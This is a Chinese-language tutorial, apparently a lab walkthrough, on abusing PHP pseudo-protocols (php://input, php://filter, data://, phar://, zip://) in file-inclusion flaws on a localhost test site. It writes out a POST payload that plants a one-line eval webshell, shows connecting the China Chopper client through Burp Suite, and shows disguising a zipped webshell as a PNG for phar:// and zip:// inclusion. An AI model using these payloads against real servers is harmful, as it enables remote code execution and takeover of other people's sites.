Php偽協議 入侵合約
Whois偽協議?
PHP 帶有很多內建 URL 風格的封裝協議,可用於類似 fopen()、 copy()、 file_exists() 和 filesize() 的檔案系統函式。 除了這些封裝協議,還能通過 stream_wrapper_register() 來註冊自定義的封裝協議。
有兩個比較重要的配置在php.ini中,allow_url_fopen 和allow_url_include會影響到fopen等等和include等等函式對於偽協議的 支援,而allow_url_include依賴allow_url_fopen,所以allow_url_fopen不 開啟的話,allow_url_include也是無法使用的。 不說沒用的 今天只研究php://
Php偽協議知多少
file:// 訪問本地檔案系統
http:// 訪問 HTTP(s) 網址
ftp:// 訪問 FTP(s) URLs
php:// 訪問各個輸入/輸出流(I/O streams)
zlib:// 壓縮流 data:// 資料(RFC 2397)
glob:// 查詢匹配的檔案路徑模式
phar:// PHP 歸檔
sh2:// Ssecure Shell 2
rar:// RAR
ogg:// 音訊流 expect:// 處理互動式的流
今天學習 主要學習php://input 其次zip:// data:// phar://
php://input
php://filter
方法一:
php://input (讀取POST資料)
1.新建一個a.php 程式碼如下
2.訪問一下127.0.0.1/a.php 返回空白
3.提交post 資料 檢視結果~
(火狐外掛)
php://input(寫入木馬)
不難發現 我們提交什麼資料 他返回什麼資料 假如我們提交 前面的一句話木馬是不是 可以寫入一句話木馬取得shell? 試一試,建立一個新的a.php 內容如下
Post 提交資料為
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
上菜刀!
方法二:
實驗步驟
1、訪問http://127.0.0.1/FI/PHP_FI.php?filename=LFI.txt,網頁顯示是檔案包含漏洞。
2、雙擊桌面的【實驗工具】資料夾,找到【burpsuite】,雙擊開啟。
給火狐瀏覽器設定代理
3、瀏覽器訪問http://127.0.0.1/FI/PHP_FI.php?filename=php://input,burpsuite自動抓包。
在burpsuite中的【Proxy】—【Intercept】—【Raw】下的文字框末提交資料<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
burpsuite中點選【Forward】。瀏覽器變為下圖。
4、雙擊桌面的【實驗工具】資料夾,開啟【中國菜刀】資料夾,找到【中國菜刀.exe】雙擊開啟。
空白處右擊【新增】
在地址後的文字框新增網址http://127.0.0.1/FI/shell.php,地址框後的密碼文字框填寫cmd。點選【新增】。
有人說 啊 沒有菜刀可以提權麼? 這可以告訴你 沒問題 看操作 a.php程式碼不變 Post提交的資料變一下
php://filter
建立檔案(原來有可以忽略)a.php 內容 和 phpinfo.php內容
訪問一下http://127.0.0.1/a.php?sj=php://filter/read/resource=phpinfo.php
Data://
資料流封裝器,和php://相似都是利用了流的概念,將原本的include的文 件流重定向到了使用者可控制的輸入流中,簡單來說就是執行檔案的包含方 法包含了你的輸入流,通過你輸入payload來實現目的; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4
Phar://
用法:?file=phar://壓縮包/內部檔案 phar://xxx.png/shell.php 注意: PHP > =5.3.0 壓縮包需要是zip協議壓縮,rar不行,將木馬檔案壓縮後,改為其他任意格式 的檔案都可以正常使用。 步驟: 寫一個一句話木馬檔案shell.php,然後用zip協議壓縮為shell.zip, 然後將字尾改為png等其他格式。
測試程式碼:
開始之前確保你的 phpstudy 版本是 5.39以後的
1.建立shell.php 內容
2.右鍵打包成shell.zip
3.將shell.zip重新命名為shell.png
訪問 127.0.0.1/a.php=phar;//檔名/原檔名
http://127.0.0.1/a.php?sj=phar://shell.png/shell.php
Post 內容為 cmd=phpinfo();
Zip://
將php版本設定為5.3.0<PHP<5.4
1.使用前面的shell.png
2.訪問http://127.0.0.1/a.php?sj=zip://shell.png%23shell.php
相關文章
- PHP偽協議(Pseudo-Protocols)PHP協議Protocol
- PHP基礎知識——PHP偽協議PHP協議
- [BJDCTF2020]ZJCTF,不過如此(php偽協議,data偽協議,preg_replace /e漏洞)TF2PHP協議
- 【HITCON 2017】SSRFme——最簡單偽協議思路協議
- DEFI借貸協議智慧合約開發技術丨dapp智慧合約系統開發應用詳情協議APP
- (轉貼) MLB/鬆阪大輔飛波士頓 雙方達成合約協議 (News)協議
- PHP phar:協議物件注入技術介紹PHP協議物件
- CeresDAO系統開發丨DAO智慧合約丨DAO借貸協議丨Defi丨NFT協議
- 搞定PHP面試 - HTTP協議知識點整理PHP面試HTTP協議
- php 獲取當前域名和當前協議PHP協議
- Raft協議和ZAB協議Raft協議
- Gossip協議也叫Epidemic協議(流行病協議)Go協議IDE
- 老司機帶你用 PHP 實現 Websocket 協議PHPWeb協議
- 從PHP客戶端看MongoDB通訊協議TDPHP客戶端MongoDB協議
- 量化合約/合約量化/秒合約系統開發/永續合約/合約跟單
- 頁面連結跳轉--指定協議,半協議,無協議協議
- 協議協議
- 我用 PHP 開發的 webdav 協議的軟體 phpdavPHPWeb協議
- 利用PHAR協議進行PHP反序列化攻擊協議PHP
- PHP重定向與偽靜態PHP
- 淺談WebSocket協議、WS協議和WSS協議原理及關係Web協議
- 合約量化|秒合約|合約跟單系統開發案例
- 秒合約|合約跟單|永續合約系統開發模式模式
- Gossip協議和Grpc協議的區別Go協議RPC
- 系列TCP/IP協議-TCP協議概述(011)TCP協議
- 二進位制協議 VS 文字協議協議
- 匯流排協議系列——USART協議初探協議
- 生成樹協議與多生成樹協議協議
- DEFI借貸協議系統開發技術支援丨DEFI智慧合約挖礦模式開發詳細方案協議模式
- XModem協議協議
- swift協議Swift協議
- UART協議協議
- SPI協議協議
- WebSocket協議Web協議
- 協議號協議
- ICMP協議協議
- OSPF協議協議
- Memcached 協議協議